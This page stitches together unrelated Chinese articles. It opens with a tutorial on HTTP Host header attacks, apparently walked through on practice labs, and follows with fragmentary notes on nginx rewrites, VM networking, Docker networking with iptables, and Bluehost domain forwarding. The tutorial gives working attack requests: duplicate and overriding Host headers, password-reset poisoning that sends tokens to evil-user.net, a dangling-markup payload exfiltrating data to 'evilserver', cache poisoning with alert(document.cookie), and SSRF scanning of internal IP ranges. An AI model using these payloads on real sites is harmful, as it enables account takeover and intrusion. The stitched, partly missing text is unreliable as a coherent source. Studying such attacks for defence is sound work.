1. weblogichost头攻击配置
1. HTTP Host头攻击
从HTTP / 1.1开始，HTTP Host标头是必需的请求标头。它指定客户端要访问的域名。例如，当用户访问https://example.net/web-security时，其浏览器将组成一个包含Host标头的请求，如下所示：
GET /web-security HTTP/1.1
Host: example.net
HTTP Host头的目的是帮助识别客户端要与之通信的后端组件。如果请求不包含Host头或者格式不正确，则在将传入请求的应用程序时可能会导致问题。
从历史上看，这种漏洞并不存在太大问题，因为每个IP地址只会被用于单个域的内容。如今，很大程度上是由于同一个IP上存在多个Web应用程序（不同端口，不同域名解析等），通常可以在同一IP地址访问多个网站和应用程序。这种方法的普及也部分是由于IPv4地址耗尽所致。
当可以通过同一IP地址访问多个应用程序时，最常见的原因是以下情况之一：
虚拟主机
单个Web服务器托管多个网站或应用程序。这可能是具有单个所有者的多个网站，但是也可能是不同所有者的网站托管在同一个共享平台上。它们都与服务器共享一个公共IP地址。
通过代理路由流量
网站托管在不同的后端服务器上，但是客户端和服务器之间的所有流量都通过代理系统进行路由。这可能是一个简单的负载平衡设备或某种反向代理服务器。在客户通过内容分发网络（CDN）访问网站的情况下，这种设置尤其普遍。
在上面两种种情况下，即使网站托管在单独的后端服务器上，它们的所有域名也都解析为中间组件的单个IP地址。这带来了与虚拟主机相同的问题，因为反向代理或负载平衡需要知道每个请求到的哪个后端上。
HTTP Host头的作用就在于，指定请求应该发送到那个应用程序的后端服务器上。打个比方，一封信需要送到居住在公寓楼中的某人手中，整个公寓有许多房间，每个房间都可以接受信件，通过指定房间号和收件人（也就是HTTP Host头）来将信封送到指定的人手中。
3. 什么是HTTP Host头攻击
一些网站以不安全的方式处理Host头的值。如果服务器直接信任Host头，未校验它的合法性，则攻击者可能能够使用此可控变量来注入Host，以操纵服务器端的行为。
现成的Web应用程序通常不知道将它们部署在哪个域上，除非在安装过程中在配置文件中手动指定了该域。例如，当他们需要知道当前域以生成电子邮件中包含的绝对URL时，他们可能依赖于Host头中的值：
<a href="https://_SERVER['HOST']/support">联系支持</a>
Host头值还可以用于不同网站系统之间的各种交互。
由于Host头实际上是用户可控制的，因此这种做法可能导致许多问题。如果未校验或者直接使用Host头，则Host头可以与一系列其他漏洞“组合拳”攻击，比如：
缓存投毒
特殊业务功能的逻辑漏洞
基于路由的SSRF
经典服务端漏洞，如SQL注入（当Host被用于SQL语句时）等
4. 如何发掘HTTP Host头攻击
首先要判断服务端是否检测Host头？检测完了是否还使用Host头的值？
通过修改Host的值，如果服务端返回错误信息：
.png
则说明服务端检测了Host的内容。至于有没有使用Host头的值，有以下几种方法去发掘：
修改Host值
简单的来说，可以修改HTTP头中的Host值，如果观察到响应包中含有修改后的值，说明存在漏洞。
但有时候篡改Host头的值会导致无法访问Web应用程序，从而导致“无效主机头”的错误信息，特别是通过CDN访问目标时会发生这种情况。
添加重复的Host头
添加重复的Host头，通常两个Host头之中有一个是有效的，可以理解为一个是确保请求正确地发送到目标服务器上；另一个则是传递payload到后端服务器中。
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: attackd-stuff
使用绝对路径的URL
尽管许多请求通常在请求域上使用相对路径，但是也同时配置了绝对URL的请求。
GET https://vulnerable-website.com/ HTTP/1.1
Host: attack-stuff
有时候也可以尝试不同的协议，如HTTP或HTTPS。
添加缩进或换行
当一些站点block带有多个Host头的请求时，可以通过添加缩进字符的HTTP头来绕过：
GET /example HTTP/1.1
Host: attack-stuff
Host: vulnerable-website.com
注入覆盖Host头的字段
与Host头功能相近的字段，如X-Forwarded-Host、X-Forwarded-For等，这些有时候是默认开启的。
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attack-stuff
诸如此类，还有其他的字段：
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
忽略端口仅校验域名
当修改、添加重复Host头被拦截的时候，可以尝试了解Web应用程序是怎样解析Host头的。
比如，一些解析算法会忽略Host头中的端口值，仅仅校验域名。这时候可以将Host修改为如下形式：
GET /example HTTP/1.1
Host: vulnerable-website.com:attack-stuff
保持域名不变，修改端口值为非端口号的其他值（非数字）， 将Host头攻击的payload放在端口值处，同样能进行Host头攻击。
5. HTTP Host头攻击漏洞示例
5.1 密码重置中毒
根据HTTP Host头攻击的攻击特点，它被广泛应用于密码重置中毒：攻击者可以操纵网站在重置密码情况下生成的密码重置链接，使其发送攻击者指定的域下，利用此来窃取重置任意用户密码的令牌。
.png
一个重设密码（忘记密码）功能的大致流程如下：
用户输入其用户名或电子邮件地址，然后提交密码重置请求。
该网站检查该用户是否存在，然后生成一个临时的、唯一的、复杂的令牌，该令牌与后端的用户帐户相关联。
该网站向用户发送一封电子邮件，其中包含用于重置其密码的链接。重置令牌的参数包含在相应的URL中：
https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
4. 当用户访问此URL时，网站将检查提供的令牌是否有效，并使用它来确定要重置哪个帐户。如果一切都符合，则可以进入用户重置密码步骤。最后，令牌被销毁。
以上步骤的安全性依赖于：只有目标用户才能访问其电子邮件，从而可以访问其唯一的令牌。
密码重置中毒是窃取此令牌以更改另一个用户密码的一种漏洞。
如果网站重置密码的流程完全依赖用户的可控输入（如HTTP Host头），这可能导致密码重置中毒：
1. 攻击者获取受害者的用户名或者电子邮件，作为提交重置密码的请求，攻击者会拦截请求并修改HTTP Host头为其指定的域，如evil-user.net
2. 受害者会收到一封重置密码的邮件，但由于攻击者修改了Host头，而web程序生成重置链接又完全依赖于Host头，导致生成以下URL：
https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j
3. 如果受害者点击了该链接，重置密码的令牌就会发送到攻击者的服务器 evil-user.net 上
4. 当攻击者获取到虫子密码的令牌之后，就会进行相应的构造访问真实重置密码的URL进行密码重置。
5.1.1 密码重置中毒—基础
详细了解了上面的密码重置中毒的流程和原理之后，这里通过HTTP Host头攻击导致的基础的密码重置中毒来演示。
首先输入用户名或者用户的电子邮箱来重置指定用户的密码：
.png
提交之后，会发送一封重置密码的电子邮件到wiener用户的邮箱中（数据包如右图）：
.png
注意重置密码的链接，可能是受Host头的值的影响？
我们来验证一下是否存在HTTP Host头攻击，修改Host头的值为 .com：
.png
发现请求是可以被后端服务器接收的，所以是存在HTTP Host头攻击的。
这里就输入受害用户carlos进行重置密码，然后抓包将Host头的值改为我们自己的服务器：
.png
然后在我们自己的服务器上就可以通过访问日志看到被窃取的重置密码Token：
.png
然后根据已知链接规律，构造重置密码的链接：
https://.web-security-academy.net/forgot-password?temp-forgot-password-token=
.png
随即进入输入新密码的界面，密码重置中毒成功。
5.1.2 密码重置中毒—注入覆盖Host头的字段
有时候直接修改Host头、添加重复Host头的值以及混淆Host头都不行：
.png
可以尝试使用与Host头功能相同的HTTP字段，如X-Forwarded-Host、X-Forwarded-For等，可以进行Fuzz：
.png
实际上他能够被 X-Forwarded-Host 字段影响，导致Host头攻击，当同时添加多个字段使请求被拦截时，可以尝试类似排除法、二分法来排查哪个字段有效。
对受害用户carlos进行密码重置投毒：
.png
然后构造链接即可：
https://.web-security-academy.net/forgot-password?temp-forgot-password-token=
.png
5.1.3 重置密码中毒—Dangling Markup技术
首先简单介绍一下 Dangling Markup技术：
Dangling markup技术
Dangling markup技术, 是一种无需脚本即可窃取页面内容的技术，它使用图像等资源(结合CSP运行的策略)将数据发送到攻击者控制的远程位置。当反射型XSS不工作或被内容安全策略（CSP）阻止时，它非常有用。其思想是插入一些未完成状态的部分HTML，例如图像标记的src属性，页面上的其余标记关闭该属性，但同时将两者之间的数据(包含窃取页面的内容)发送到远程服务器。
例如，我们在反射型XSS注入点上注入这样一个img标签：
<img src="https://evilserver/?
则注入点和下一个双引号的代码将会发送到攻击者的 https://evilserver 服务器, 其中被发送的代码或者内容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用。
关于 Dangling Markup技术 的实战意义可以参考博主之前的文章：绕过CSP之Dangling markup技术
什么时候可以使用 Dangling Markup技术 呢？与我们这篇文章的主题有什么关系呢？
我们直接进入主题，当输入需要重置密码的用户名后，该用户的邮箱内会收到如下邮箱：
.png
有一个跳转到登录界面的链接，后面紧接着重置之后的随机密码。
此时考虑一下，该链接是否是从Host头取值而来？只要这个值可控，那么就可以利用Host头攻击实施 Dangling Markup攻击，包含住链接后面紧跟着的密码，再结合Host头攻击将请求指定到攻击者服务器上。一个漫天过海的窃取行为就完成了。
第一步，寻找Host头攻击点：
通过Fuzz，可发现Host头攻击类型为 忽略端口仅校验域名。即服务端在校验Host域的时候，仅校验了域名，忽略了后面的端口号，造成端口值可控（可以是数字或字符）：
.png .png
通过在Host头的端口中注入payload，依旧可以实现Host头攻击。
第二步，借助可控变量 Host：ip:port 来实施 Dangling Markup技术，从而将后面的密码外带到攻击者服务器上：
注意，需要闭合此处的双引号出去，经过尝试，输入单引号时，服务端会自动转为双引号，故这里通过单引号将双引号闭合，然后添加自定的<a href=xxx.attack-domain>标签将密码外带：
.png
原本的正常HTML是这样的：
.png
通过Dangling Markup技术 在a标签的链接中注入? 符，使得后面的值在双引号闭合之前全部被当做URL参数请求到攻击者服务器上：
.png
这也是 Dangling Markup技术 的精髓所在，该技术的核心点在于：
可控变量后面是否接着需要窃取的关键数据（包括Token、密码等）
在攻击者服务器上可以看到被Host头攻击转发上来的请求，里面成功窃取了受害者重置后的密码：
.png
5.2 Host头攻击+缓存投毒
当存在Host头攻击的web站点不存在密码重置的功能的时候，此时该漏洞就显得没有影响，因为不可能驱使用户去抓包修改Host头，辅助攻击者完成一系列的攻击。
但是，如果目标站点使用Web缓存，则可以通过缓存投毒给其他用户提供带有病毒的缓存响应。此时的Host头攻击漏洞转变为类似XSS存储型类的漏洞。要构造Web缓存投毒攻击：
1. 需要寻找映射到其他用户请求的缓存键；
2. 下一步则是缓存此恶意响应；
3. 然后，此恶意缓存将提供给尝试访问受影响页面的所有用户。
第一步，寻找Host头攻击点：
通过对站点的主页添加重复的Host值，可以达到覆盖的效果，并验证存在Host头攻击：
.png
第二步，寻找是否使用了Web缓存？缓存键是什么？
从上图中也可以发现，站点使用了Wen缓存功能，并且配合Host头攻击，可以缓存/resources/js/tracking.js资源文件。
第三步，在攻击者服务器上创建一个同名的 /resources/js/tracking.js资源文件，内容为：
alert(document.cookie);
然后通过Host头注入攻击者服务器域名，可以看到在响应中正确地对应了我们的 /resources/js/tracking.js资源文件：
.png
发送多次请求，使该请求的响应变为缓存：
.png
当其他用户请求站点主页时，服务端就会提供该恶意缓存给用户，造成缓存投毒。
5.3 Host头攻击绕过访问控制
出于安全考虑，通常网站对某些功能的访问限制为内部用户使用。但是通过Host头攻击一定可能上可以绕过这些限制。
对于一个站点，从发现Host头攻击到利用，下面来展示一个完整的流程：
第一步，访问主页，随意修改Host的值：
.png
注意，这里的Host的值不会出现响应包中，但是依然可能存在Host头攻击，因为响应依然成功，说明服务端没有对Host头做验证。
第二步，寻找敏感页面，通过 /robots.txt 知道 /admin 为做了访问控制的页面：
.png
可以错误信息提示，/admin 页面只允许本地用户访问。
第三步，将Host改为服务端内部地址，从而绕过IP访问控制：
.png
5.4 Host头攻击+SSRF
Host头攻击可能会导致基于路由的SSRF攻击，称为：Host SSRF Attack。
经典的SSRF攻击通常基于XXE或可利用的业务逻辑，将用户可控的URL作为HTTP请求发送；而基于路由的SSRF依赖于云部署的体系结构中，包括负载均衡和反向代理，这些中间件将请求分配发送到对应的后端服务器处理，如果服务端未校验Host头转发的请求，则攻击者可能会将请求发送（重定向）到体系中的任意系统。
这可能需要知道内部系统的IP地址（私有地址），一般可以通过信息收集或者Fuzz来判断有效的私有IP地址（如枚举192.168.1.1/16）。
5.4.1 基础Host头攻击+SSRF
比如，普通方式访问不到 /admin 页面（404）：
.png
猜测 /admin 存在于内网中，需要内网机器才能访问，但是配合Host头攻击+SSRF可以绕过并访问。
第一步，判断Host是否被使用，可用DNSLog外带
这里我使用Burp自带的 “Burp Collaborator client” 来实现外带：
.png
说明服务端是根据Host头的域名来请求资源的。
第二步，基于Host头的SSRF探测内网主机
假如一些敏感的页面（比如管理页面），深处于内网，外网无法访问，但是通过Host头攻击+SSRF可达到绕过访问控制，从而访问内网资产，这里Fuzz内网的IP的C段为192.168.0.0/24，直接利用Intruder枚举：
.png .png
得到内网IP为192.168.0.240
第三步，访问内网资源
构造 /admin 页面，在Host处换位内网IP：
.png
5.4.2 Host头攻击+SSRF—使用绝对路径的URL
有时候服务端会校验Host头的值，如果Host被修改，服务端会拒绝一切修改过后的请求：
.png
普通请求通常在请求域上使用相对路径，但是，服务端也同时可能配置了绝对URL的请求，采用如下形式可绕过对Host的验证：
GET http://.web-security-academy.net/ HTTP/1.1
.png
接着用 “Burp Collaborator client” 进行外带：
.png
外带成功，说明Host头被服务端使用来向指定域名请求资源，直接SSRF爆破内网：
.png
访问内网页面：
.png
6 HTTP Host头攻击防护
最简单的方法是避免在服务器端代码中完全使用Host头，可以只使用相对URL。
其他方法包括：
6.1 正确配置绝对域名URL
当必须使用绝对域名URL时，应在配置文件中手动指定当前域的URL，并引用配置的值，而不是从HTTP的Host头中获取。这种方法可防止密码重置的缓存投毒。
6.2 白名单校验Host头的域
如果必须使用Host头，需要正确校验它的合法性。这包括允许的域，并使用白名单校验它，以及拒绝或重定向对无法识别的主机请求。这包括但不仅限于单个web应用程序、负载均衡以及反向代理设备上。
6.3 不支持主机头覆盖
确保不适用与Host头功能相近的字段，如X-Forwarded-Host、X-Forwarded-For等，这些有时候是默认开启的。
值得一提的是，不应该将内网使用的Host主机（不出网）与公网的应用程序托管在同一个服务器上，否则攻击者可能会操纵Host头来访问内部域。
2. nginx转发配置
顺序 no优先级：
( location = ) > ( location 完整路径 ) > ( location ^~ 路径 ) > ( location ~,~* 正则顺序 ) > ( location 部分起始路径 ) > ( / )
上面的匹配结果
按照上面的 location 写法，以下的匹配示例成立：
所以实际使用中，个人觉得至少有三个匹配规则定义，如下：
rewrite 功能就是，使用 nginx 提供的全局变量或自己设置的变量，结合正则表达式和标志位实现 url 重写以及重定向。 rewrite 只能放在 server{},location{},if{} 中，并且只能对域名后边的除去传递的参数外的字符串起作用，例如 http://seanlook.com/a/we/index.php?id=1&u=str 只对 /a/we/index.php 重写。语法 rewrite regex replacement [flag] ;
如果相对域名或参数字符串起作用，可以使用全局变量匹配，也可以使用 proxy_pass 反向代理。
表明看 rewrite 和 location 功能有点像，都能实现跳转，主要区别在于 rewrite 是在同一域名内更改获取资源的路径，而 location 是对一类路径做控制访问或反向代理，可以 proxy_pass 到其他机器。很多情况下 rewrite 也会写在 location 里，它们的执行顺序是：
如果其中某步 URI 被重写，则重新循环执行1-3，直到找到真实存在的文件；循环超过10次，则返回 500 Internal Server Error 错误。
因为 301 和 302 不能简单的只返回状态码，还必须有重定向的 URL ，这就是 return 指令无法返回 301 , 302 的原因了。这里 last 和 break 区别有点难以理解：
if判断指令
语法为 if(condition){...} ，对给定的条件 condition 进行判断。如果为真，大括号内的 rewrite 指令将被执行， if 条件 (conditon) 可以是如下任何内容：
-f 和 !-f 用来判断是否存在文件
-d 和 !-d 用来判断是否存在目录
-e 和 !-e 用来判断是否存在文件或目录
-x 和 !-x 用来判断文件是否可执行
例如：
下面是可以用作if判断的全局变量
例： http://localhost:88/test1/test2/test.php
$host：localhost
$server_port ： 88
$request_uri ： http://localhost:88/test1/test2/test.php
$document_uri ： /test1/test2/test.php
$document_root ： /var/www/html
$request_filename ： /var/www/html/test1/test2/test.php
小括号 () 之间匹配的内容，可以在后面通过 $1 来引用， $2 表示的是前面第二个 () 里的内容。正则里面容易让人困惑的是 转义特殊字符。
例1 ：
对形如 /images/ef/uh7b3/test.png 的请求，重写到 /data?file=test.png ，于是匹配到 location /data ，先看 /data/images/test.png 文件存不存在，如果存在则正常响应，如果不存在则重写 tryfiles 到新的 image404 location ，直接返回 404 状态码。
例2 ：
对形如 /images/bla_500x400.jpg 的文件请求，重写到 /resizer/bla.jpg?width=500&height=400 地址，并会继续尝试匹配 location 。
3. 如何设置虚拟机host模式上网
1、设置虚拟机下建立网络连接方式为hostonly。
4. 单host下Docker的默认网络配置
本文用到的环境如下：
host: centos7
docker: 通过 yum install -y docker 安装，版本号为1.10.3
docker镜像：
# Version: 0.0.1 FROM ubuntu:latest MAINTAINER paul liu "[email protected]" RUN apt-get update RUN apt-get install -y net-tools RUN apt-get install -y iputils-ping CMD /bin/bash
场景图：
我的host主机接有无线路由器，通过ADSL拨号上网，网卡eth0固定IP为192.168.0.200，网关为路由器的IP 192.168.0.1。
在host上安装docker，并运行容器。
通过以下命令安装docker，
yum install -y docker
启用docker，
systemctl start docker
然后在host主机运行 ifconfig 或 ip a 命令，可以看到除去host原有的网卡eth0和回环lo外，多了个docker0。
docker0 IP为172.17.0.1，所在的网段默认为B类私网地址172.17.0.0/16。可以将docker0看做是host主机的一块虚拟网卡。这样host主机就等同于配置了双网卡，两块网卡之间可以通信，但前提是启用ip_forward。
这是docker0的第一个身份。
运行两个容器docker1，docker2，然后在host主机上运行 brctl show 查看，
这里可以看出docker0的第二个身份，一个虚拟交换机。每运行一个容器，就会产生一对veth，其中一端连接到docker0上，另一端连接到容器的eth0上。这样，所有连接到docker0的容器组成了一个局域网。如下图：
在host主机上运行 ifconfig ，也会发现多了两个veth这样的网络接口。
在host主机上运行 ip addr show veth6d9a691 ，可以查看到该veth具有mac地址，这也正说明了docker0的虚拟交换机的身份，交换机是通过mac地址通信的，连接到交换机的设备必须具有mac地址。
由于docker0自身也具有mac地址，这个与纯二层交换机是不同的，并且绑定了IP 172.17.0.1，容器默认把docker0作为了网关。也就是docker0还兼具路由的功能，因此可以把docker0看做是一个三层交换机，可以做二层数据包转发，也可以做三层路由转发。
在容器中运行 route -n 查看路由如下：
在host主机上运行 route -n 查看路由如下：
在host中，访问本网段192.168.0.0是通过eth0转发数据包的，访问172.17.0.0网段是通过docker0转发数据包的，而对于其他如公网是通过eth0将数据包转发给网关192.168.0.1，再由该网关进行数据包转发的，比如上网。
在容器中运行 ping sohu.com 或 ping 192.168.0.200 都可以ping通。
默认情况下，不需要再额外做任何配置，在一台host主机上，通过docker0，各容器之间可以互通，并且可以通过host的eth0连接外网。
通俗的讲，通过docker0组成了一个网段为172.17.0.0/16的以太网，docker容器发起请求时，如果是相同网段则经由docker0转发到目标机器，如果是不同网段，则经由docker0，转发到host的另一块网卡eth0上，由eth0负责下一步的数据包转发，比如公网地址。
下面进一步分析一下报文是怎么发送到外面的。
容器内部发送一条公网请求报文，通过eth0，在veth被接收。此时报文已经来到了主机上，通过查询主机的路由表（ route -n ），如果发现报文应该通过主机的eth0，从默认网关发送出去，那么报文就被从docker0转发给主机的eth0，但前提是首先启用ip_forward功能，才能在host主机的docker0和eth0两个网卡间传递数据包。
由于目标地址并不属于host主机所在网段，那么会匹配机器上的 iptables中的nat表POSTROUTING链中的规则。
在host主机运行命令 iptables -L -n -t nat --line-numbers ，查看nat表，这里只看POSTROUTING链：
第一行中说明，对于源地址为172.17.0.0/16网段的数据包，发出去之前通过MQSQUERADE伪装。linux内核会修改数据包源地址为host主机eth0的地址（也就是192.168.0.200），然后把报文转发出去。对于外部来说，报文是从主机eth0发送出去的。
局域网内的机器由于都是私有IP，是无法直接访问互联网的（数据包可以发出去，但回不来。）如果要上网，除了可以通过硬件路由器，也可以通过软件路由，在iptables的nat表中的POSTROUTING链中添加SNAT规则。
测试一下，在host主机运行命令 iptables -t nat -D POSTROUTING 1 将第一条规则删掉，那么在容器中就运行命令 ping sohu.com 就ping不通了。但仍然可以ping通host主机。
在host主机运行命令以下命令恢复：
iptables -t nat -I POSTROUTING -s 172.17.0.0/16 -o eth0 -j SNAT --to-source 192.168.0.200
或者
iptables -t nat -I POSTROUTING -s 172.17.0.0/16 -j MASQUERADE
关于SNAT和MASQUERADE，这篇文章已经有过描述，可以参考： Docker前传之linux iptables
新建一Dockerfile，用以运行nginx容器：
# Version: 0.0.1 FROM paulliu/ubuntu_ip RUN apt-get install -y nginx EXPOSE 80
在host主机运行构建命令构建镜像 docker build -t paulliu/nginx .
在host主机运行容器启动命令 docker run -d -p 80 --name nginx1 paulliu/nginx nginx -g "daemon off;"
在host主机查看容器的端口映射 docker port nginx1 80
在host主机运行命令 iptables -nat -L -n 可以看到在PREROUTING链中多了以下DNAT规则：
也就是在容器启动时通过 -p 80 将host主机192.168.0.200:32773映射为容器172.17.0.4:80。
注意：docker容器每次启动时获取的IP地址未必是一样的，而且 -p 80 是在host主机上随机选择一个端口号进行映射，每次启动的端口号也未必是一样的。但iptables中相关的规则是自动变更的。
在host主机运行 curl localhost:32773 或者在其他主机运行 curl 192.168.0.200:32773 结果如下：
5. bluehost可以域名转发吗
登录bluehost后台，进入管理账户——管理订单——搜索/罗列订单——选择相应域名订单——点击域名进入域名管理面板——域名转发栏，选择管理域名转发
显示下图界面，可以定义转发的地址，如图（同时我们的转发还可以提供隐藏和非隐藏转发，启用次级域名转发和启用路径转发功能，具体可以参看此页面右侧的说明来操作。）
附：转发是需要通过转发IP来实现的，当您点击激活域名转发功能后，我们系统会默认为您做上两个转发A记录，您可以通过DNS那边查看到，如图所示，这几条A记录请不要删除，删除后转发记录将不再生效。
另外，如果您要实现二级域名转发，可以在A记录这边添加上对应的一条A记录即可，比如：